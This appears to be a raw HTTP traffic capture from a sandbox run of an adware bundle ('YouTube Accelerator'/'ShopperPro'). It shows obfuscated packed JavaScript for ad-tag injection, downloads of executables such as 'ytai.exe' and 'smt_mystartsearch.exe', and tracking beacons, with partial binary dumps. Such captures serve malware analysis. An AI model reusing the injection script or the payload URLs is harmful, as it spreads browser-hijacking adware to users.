indow.JavaScriptJsTags=""}if(window.JavaScriptJsTags.length>0){wind
ow.JavaScriptJsTags=window.JavaScriptJsTags " : "}window.JavaScriptJsT
ags=window.JavaScriptJsTags tagUrl}catch(e2){}})();..eval(function(p,a
,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>
;35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,Stri
ng)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=funct
ion(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b
' e(c) '\\b','g'),k[c]);return p}('"1h"===1g $&&($="a");"1h"===1g 1d&&
(14(a,b){14 d(a){17 f.9R(a)?a:9===a.1O?a.84||a.uy:!1}14 e(a){if(!ya[a]
){1b b=u.2y,c=f("\\2o" a "\\1E").dh(b),d=c.1M("35");c.3i();if("42"===d
||""===d){fa||(fa=u.2B("6M"),fa.jV=fa.2k=fa.2l=0);b.3j(fa);if(!ka||!fa
.2B)ka=(fa.di||fa.jW).1n,ka.uz(("jX"===u.jY?"\\2o!uA 2d\\1E":"") "\\uB
\\1E\\uC\\1E"),ka.uD();c=ka.2B(a);ka.2y.3j(c);d=f.1M(c,"35");b.6N(fa)}
ya[a]=d}17 ya[a]}14 c(a,b){1b c={};f.1C(Ha.bq.2G([],Ha.3D(0,b)),14<<< skipped >>>

GET /sbitin/javascript.js?hid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&apptitle=ShopperPro&channel=IF17wsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Wed, 07 Jan 2015 09:34:50 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 07 Jan 2015 13:34:50 GMT

Cache-Control: max-age=14400

X-Origin: opt

X-Accel-Expires: 0
1c19../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/sbitin/javascript.js?hid=92a8ad46-bc
8d-4fd2-9ae8-85b5415e9eec&apptitle=ShopperPro&channel=IF17wsmtycl&coun
tryCode=UA&sset=7&ip=193.138.244.231";if(typeof window.JavaScriptJsTag
Url==='undefined'||window.JavaScriptJsTagUrl==null){window.JavaScriptJ
sTagUrl=tagUrl}}catch(e){}try{if(typeof window.JavaScriptJsTags==='und
efined'||window.JavaScriptJsTags==null){window.JavaScriptJsTags=""}if(
window.JavaScriptJsTags.length>0){window.JavaScriptJsTags=window.Ja
vaScriptJsTags " : "}window.JavaScriptJsTags=window.JavaScriptJsTags t
agUrl}catch(e2){}})();..eval(function(p,a,c,k,e,r){e=function(c){retur
n(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29)
:c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||
e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};whil
e(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);retur
n p}('6 n;6 o;4(9 2m==="8"){4(9 5==="8"){6 2n=c 2o(T){4(T.h("1X")>=
0)7 T;t{6 18="";1q(6 i=0;i<T.N;i =2)18=18 2p.2q(2r(T.1r(i,2),16));7
 18}u(2s){7 T}};6 19="i";6 1a="y";4(O.1b(P 13("1Y\\z","g"))){6 1s=O.1b
(P 13("1Y\\z(. ?)($|\\14|#)"))[1];4(1s.N>0&&1s==="G"){19="2t";4(O.1
b(P 13("1Z\\z","g"))){6 1t=O.1b(P 13("1Z\\z(. ?)($|\\14|#)"))[1];4(1t.
N>0&&1t==="G")1a="G"}}}5={"B":"2u","C":"","U":"","V":"","2v":"","19
":19,"1c":"","1u":"","K":"","1a":1a,"1v":"","1w":"","W":"","Q":""}<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1420623188&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=iu4uyr55ojj1ilz5use5lq45


HTTP/1.1 200 OK

Connection: close

Date: Wed, 07 Jan 2015 09:33:29 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 100546
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku<<< skipped >>>

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:35:44 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=d8fec3bdd1667aa30a0585543daba77ff1420623344; expires=Thu, 07-Jan-16 09:35:44 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Mon, 05 Jan 2015 22:11:10 GMT

Expires: Sun, 11 Jan 2015 09:35:43 GMT

ETag: "e6a05ed55f5d26a862e51008251975a94d30cee5"

Cache-Control: public, max-age=345599

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1a4f2ac1e359159b-FRA
0..........0..... .....0......0...0..........<.|7...@N6p.I.e|..2015
0105221110Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150105221110Z....20150109221110Z."0 0..
. .....0......20140105221110Z0...*.H.............@`9...`..Tp..&..Q..2r
W.v.|q.'A(D@>x.....i.....=.l`.Q..)w...=]].....M.|....I.{...M...6.f.
..d....>.Yq..0..cp....|t.% y<...H1..y..32.....Ia3.nIy.x...JEV...
q..*...a..3.F......lR.t.mTj.....c.D.............k0.....f..4....|.Q....
2.(d6 ..g.".Y..4.S2.Q7.8..i....y*.....0...0...0..........Z..~..M..<
ZYJ....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U..
..Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...
U....Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U...
.Should be ignore by CA0.."0...*.H.............0...........&!(..$.K...
."=f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.
..........bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.
x*.......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ..
.6.M.O.....<5:......r.....]..A.5........0..0...U..........<.|7..
.@N6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0.
.. .......0... .....7....0.0... .......0... .....0......0...*.H.......
...........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......
*.w...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z
.3....L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP...
.<.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:09 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:09 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@..@.data....C...0...&..................@....rsrc...0.....
.......>..............@..@.reloc...H.......J...N..............@..B.
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^]..............f.D$pr..t$.........3..|$<..D$$.....D$ ....f.D$.r..t
$(........j.3.h..A..L$0.D$D.....D$@....f.D$0.[....|$T..D$@.CD$@P....A.
..3..D$$.....D$ ....f.D$.f9.u.3......A..D$.f.....f..u. L$...QR.L$.....
..D$(Phl.A..T$..L$x.h.........L$\..........$........,..#..|$l.r..t$X..
......3...$......D$l.....D$h....f.D$Xr..t$p........3..|$$...$.........
.$........f.D$pr..t$..V......3..|$<..D$$.....D$ ....f.D$.r..t$(

<<< skipped >>>

GET /MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: g.symcd.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1363

content-transfer-encoding: binary

Cache-Control: max-age=567799, public, no-transform, must-revalidate

Last-Modified: Tue, 6 Jan 2015 23:14:45 GMT

Expires: Tue, 13 Jan 2015 23:14:45 GMT

Date: Wed, 07 Jan 2015 09:34:54 GMT

Connection: keep-alive
0..O......H0..D.. .....0.....50..10......7).nj./P(.3.\\.;.B....2015010
6231445Z0f0d0<0... ..........9.....yP..`...<.......*.A.....>U
....... ...:v....20150106231445Z....20150113231445Z0...*.H............
.|..5.B..A.Zz}.8...S....Eo.>...S.J..........hJb.....z.....I.ob q.j.
.!..%z../F.....I..r..es..d ..<eF.5\l.h....1<....].ir....ue..~(0.
.Emv{K/M)*.@hP...ZR....L.y0].a..r................U.t.W>...l.R.23..-
4KX85......6...q.?.."..X..dL,....(...7..n..<{u. .A./?...>q<..
..0...0..}0..e........:}0...*.H........0B1.0...U....US1.0...U....GeoTr
ust Inc.1.0...U....GeoTrust Global CA0...141201130534Z..151216130534Z0
2100...U...'GeoTrust Global CA TGV OCSP Responder 30.."0...*.H........
.....0............\.hpc..J.a.j-.t......F`Aw...)L.YE.2..~..-...2.Y(.".C
Z.w..T..Y. syd.....x..YE..<....lwv.:J.76>U....uF.a.|8N.. ..1p...
`f.X...B>x..............6..m.&...'..W.plK....[.m.V..h..lI.........?
~.....>.|'....o...A!.Pm.*.N ...<.....3...*|.x._..1..m.W<*....
._S.............0..0...U.#..0....z.h.....d..}.}e...N0... .....0......0
...U.%..0... .......0...U...........0...U.......0.0!..U....0...0.1.0..
.U....TGV-B-2830...*.H.............~....2!...V..0...Y....L..k....z}~a.
3Y.x..dS.L...Dk$a...nR9_......B......m....Y....U.5....'.....<{....v
&=.2].....j*.r(7...=..w.I...z....\.#.J.ac.....I.[.[....6.X....0...g.3d
...z.i.H..f...v.....\.....^.N..1.J<.)`Z.....4.-.E..n.E.~t....v.e.T.
..?. ......i..%....<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Wed, 07 Jan 2015 06:52:55 GMT

Last-Modified: Mon, 05 Jan 2015 13:19:36 GMT

ETag: "54aa8f68-d66"

Expires: Wed, 07 Jan 2015 07:02:55 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 129

X-Cache: Hit from cloudfront

Via: 1.1 946039a2b79679b0eba14205e9087787.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mtUgHEZbXOf34bslWBvPYDcHSeCrUtcDFiBMEtQ1XoeQWwNMx4GbSA==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
..z6..@...zn...2....q..2....q....l....]..l....]....=... }w..... }w...0
...@...z6..@...zn...2....q..2....q....l....]..l....]....=... }w..... }
w...0...@...z6..@...zn...2....q..2....q....l....]..l....]....=... }w..
... }w...0...@...z6..@...zn...2....q..2....q....l....]..l....]....=...
 }w..... }w...0...@...z6..@...zn...2....q..2....q....l....]..l....]...
.=... }w..... }w...0...@...z6..@...zn...2....q..2....q....l....]..l...
.]....=... }w..... }w...0...@...z6..@...zn...2....q..2....q....l....].
.l....]....=... }w..... }w...0...@...z6..@...zn...2....q..2....q....l.
...]..l....]....=... }w..... }w...0...@...z6..@...zn...2....q..2....q.
...l....]..l....]....=... }w..... }w...0...@...z..................<<< skipped >>>

GET /sponsored/pricefountain/eula-pricefountain.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 06:31:22 GMT

Last-Modified: Mon, 22 Dec 2014 13:16:25 GMT

Expires: Sun, 04 Jan 2015 06:41:22 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 946039a2b79679b0eba14205e9087787.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QfsoVHWEUUGSmg_5Ck2grGZgeCduQWbe-NYJjawMKspN7-4yQWCR1A==
2d0.............}.r[...8...tD[..#.t..JeVC$.B."e.LYQQ...K.).......#<
.?.QGTOzV....../.....q...a...v.....{.....{?.......W..f1......w......._
.........q...x..yq6.O......G.....b.f..>98......b..]..u..q.G|...[dO.
.....~.T/|7.M..6...........?..g.=...~qy......;....W..gO...QY,....;....
.r>..>.......~vY.........o...?..N...........O....bR....>..&..
..'|....]...?.....sl............<. 9.[...{R\...E.........r.O..O....
..../...{.....9?.....F...I....}..}.....{y`...[S......Q....;..~.]...8..
..h.}.k...........~.G..w........y9xR.^...rV<.|..{....S.....G...gS..
..x5.^....d..N..?.O1..&..?._...........t4......;.gvv...........l.a....
.YqW^.>..............b._...,g......o.8.)nf.U..j....w..(.....Q..v...
~.s...IL.j8Y..ov.#..=....].....aV;.....[..E...T....32e8..pr]....|..\..
.....}.^O..r.},'7..=.^T..p.o...wS.b..cS..r4....g......0....`y....-....
%.1\...9....U....;...<../.=.5.gx.o.|.h...=X..v..]...X........8..L..
9....h~..........=.,..d.7...7E..r...o.m....../.)p.Y9*o.x....v.....p.=.
.............'.L.....o.b.%^.......{........3,m..MG.o.]....t.o0.7.c...I
.[Cj.&.zN...e5....X~.D7....&.q.9.zV.'.r....L...o....../........8Z..3..
.8.a].'.....E..._>.q._1S.6...C...>..iX......vR....5.....7}....J.
.......c.W.....6l....z.......b.o.........q..x.>...G:...)..$.v..A.S.
Cz.......r........?.U....z.......7..T.F.r......c...l\.....h...-AY{....
..C?..Y)N}.;...7...q|N&.gE......i...Q....<1......B../.V......xsz^..
.'.g&......E."...}...9n.....s.;k......\.O.O.Z.........t.8<=9i......
a..!N..v.g.......w...Y.....7......._..z....]..a..{.........lj.....<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Range: bytes 0-249999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 426d5ce9629980eab280d40f7dd21c0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EhC-RpfTbmBzUd7cG18yPXFsAcOUQHHEerrvxxCXV_pa05cnALjBcQ==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@..@.data....^...p...4...V........
......@....rsrc...............................@..@.reloc..|...........
................@..B..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.u.h..M.h..M..%...hp.I
...G..Y..].j..4.H.......e....D.M...I..E.......D.M...I..M..hz.I...G..Y.
*....j....H..O....M..h..I...G..Y......j....H.......M..h..I..oG..Y.....
....M..9...h..I..TG..Y..D.M......h..I..>G..Y.j....H.......e....L.M.
..I..M..h..I...G..Y......j....H.......e....H.M...I..E.......H.M...I..M
..h..I...F..Y.M....j...R..Y...M.....M..hhvJ....M......h6.I...F..Y.hhvJ
....M......hZ.I...F..Y.j....I..(....M..h~.I..iF..Y......hhvJ....M.....
.h..I..IF..Y.hhvJ....M......h..I...F..Y.hhvJ.. .M..x...h..I...F..Y

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Range: bytes 500000-749999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 426d5ce9629980eab280d40f7dd21c0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: R3-IfJGJzw2sexTvlXQLFXmEJJFl9HcC-XI090475UyDIgAMZuKFDw==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 07 Jan 2015 09:33:10 GMT..Content-Range: bytes 5000
00-749999/1206160..X-Cache: Miss from cloudfront..Via: 1.1 426d5ce9629
980eab280d40f7dd21c0d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: R3-IfJ
GJzw2sexTvlXQLFXmEJJFl9HcC-XI090475UyDIgAMZuKFDw==.......H....M.......
.X.....X.....Q....P.....P...P.M...N....@....M.Q.M...N....8.....H...R..
@...P..8....H4...E...M..........M..AQ....0.....0...R.OQ.......(.....(.
....Q.HN....... ..... ........tJ.M.Q.YJ............M...P.........U.R..
....P......Qj..U.R.M.."....E.......H.E.P..J............M...P.........M
.Q......R......Pj..M.Q.M.......E..O.........U.R.M.............M..QP...
...........P.M..|M.........M.Q.M..JM..............R......P........2...
E...M..........U..U..M...f..........P...P.M...q..P........d...E...M...
uo.M...O..............R.M...L.........E.P.M.............M.Q.M...L.....
.........R......P.......R2...E...M..........M..KO..............R.YO...
................Q.RL......................tJ.M.Q.cH............M...N..
.......U.R......P......Qj..U.R.M..,....E.......E.E.P..H............M..
.N.........M.Q......R......Pj..M.Q.M.......E..\...U.R.M...H..j.j......
.9.G...E........E......E.P.M.Q..G.....P..U.R..D...P.M.........U....E..
M.d......Y_^[..]................U..j.h..I.d.....PQ......SVW..tM.3.

<<< skipped >>>

GET /res/helper.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Type: application/x-javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Wed, 07 Jan 2015 09:38:31 GMT

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\Xnc...j.up....@..4..L4a...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....<<< skipped >>>

GET /res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default8849&xdm_p=1 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:40 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Sun, 23 Nov 2014 15:58:47 GMT

ETag: W/"b24bcc5d367d01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip

9c............-.... .E....8.....@.>..p..[b.PK`"...qu&g.........va=M
...e!K.}..=.; ..y....p'..T2....e.$.dM#...........d...?.Z`....F......K%
..S>.n.....w../".........0..HTTP/1.1 200 OK..Date: Wed, 07 Jan 2015
 09:34:40 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Co
nnection: keep-alive..Last-Modified: Sun, 23 Nov 2014 15:58:47 GMT..ET
ag: W/"b24bcc5d367d01:0"..X-Powered-By: ASP.NET..Server: NetDNA-cache/
2.2..X-Cache: HIT..Content-Encoding: gzip..9c............-.... .E....8
.....@.>..p..[b.PK`"...qu&g.........va=M...e!K.}..=.; ..y....p'..T2
....e.$.dM#...........d...?.Z`....F......K%..S>.n.....w../"........
.0......

GET /res/beat/204/Beat.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

